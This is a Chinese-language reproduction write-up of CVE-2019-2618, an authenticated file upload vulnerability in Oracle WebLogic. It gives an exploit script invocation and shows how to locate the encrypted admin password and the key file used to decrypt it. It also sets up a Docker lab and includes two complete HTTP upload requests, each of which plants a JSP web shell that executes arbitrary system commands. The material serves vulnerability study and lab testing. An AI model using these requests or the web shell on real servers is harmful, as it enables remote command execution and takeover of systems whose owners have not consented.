cve-2019-2618
=============

一、漏洞简介
------------

Weblogic Upload Vuln(Need username password)-CVE-2019-2618

二、漏洞影响
------------

Oracle WebLogic Server10.3.6.0.0

Oracle WebLogic Server12.1.3.0.0

Oracle WebLogic Server12.2.1.3.0

三、复现过程
------------

<https://github.com/ianxtianxt/cve-2019-2618>

### python使用

    python CVE-2019-2618.py url username password

![](./resource/(CVE-2019-2618)Weblogic任意文件上传漏洞/media/rId26.jpg)
![](./resource/(CVE-2019-2618)Weblogic任意文件上传漏洞/media/rId27.jpg)

### 解密weblogic密码

    root@f0cb7e674d7e:~/Oracle# cat /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties |grep pass
    password={AES}dv/eNBsyg5GcDUbAKaQRheDZhzVk9yiTYVpXlGt9wEU=
    root@f0cb7e674d7e:~/Oracle# find / -name "*SerializedSystemIni.dat*"
    /root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
    root@f0cb7e674d7e:~/Oracle# 

    weblogic 账号密码： weblogic/Oracle@123

![](./resource/(CVE-2019-2618)Weblogic任意文件上传漏洞/media/rId29.jpg)

### 使用docker搭建环境

参考vulnhub

    root@kali:~/vulhub/weblogic/CVE-2017-10271# ls
    1.png  docker-compose.yml  README.md  set_mirror.sh
    root@kali:~/vulhub/weblogic/CVE-2017-10271# docker-compose up -d

![](./resource/(CVE-2019-2618)Weblogic任意文件上传漏洞/media/rId31.jpg)

    POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
    Host: 10.10.20.166:7001
    Connection: close
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.21.0
    username: weblogic
    wl_request_type: app_upload
    cache-control: no-cache
    wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
    serverName: Jas502n
    password: Oracle@123
    content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    archive: true
    server_version: 10.3.6.0
    wl_upload_delta: true
    Content-Length: 1081

    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
    Content-Type: false

     <%@ page import="java.util.*,java.io.*"%>
    <%
    %>
    <HTML><BODY>
    Commands with JSP
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
    if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p;
        if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
        }
        else{
            p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
        }
    }
    %>
    </pre>
    </BODY></HTML> 

    ------WebKitFormBoundary7MA4YWxkTrZu0gW--

### 也可以换个目录上传

    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_deployment_internal.war
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_internal.war 这是上传的路径
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_deployment_internal
    bea_wls_internal 
    bea_wls_deployment_internal 在同目录
    这是漏洞war位置

![](./resource/(CVE-2019-2618)Weblogic任意文件上传漏洞/media/rId33.jpg)

    POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
    Host: 10.10.20.166:7001
    Connection: close
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.21.0
    username: weblogic
    wl_request_type: app_upload
    cache-control: no-cache
    wl_upload_application_name: /../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
    serverName: Jas502n
    password: Oracle@123
    content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    archive: true
    server_version: 10.3.6.0
    wl_upload_delta: true
    Content-Length: 1084

    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="shell.jsp"; filename="shell111.jsp"
    Content-Type: false

     <%@ page import="java.util.*,java.io.*"%>
    <%
    %>
    <HTML><BODY>
    Commands with JSP
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
    if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p;
        if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
        }
        else{
            p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
        }
    }
    %>
    </pre>
    </BODY></HTML> 

    ------WebKitFormBoundary7MA4YWxkTrZu0gW-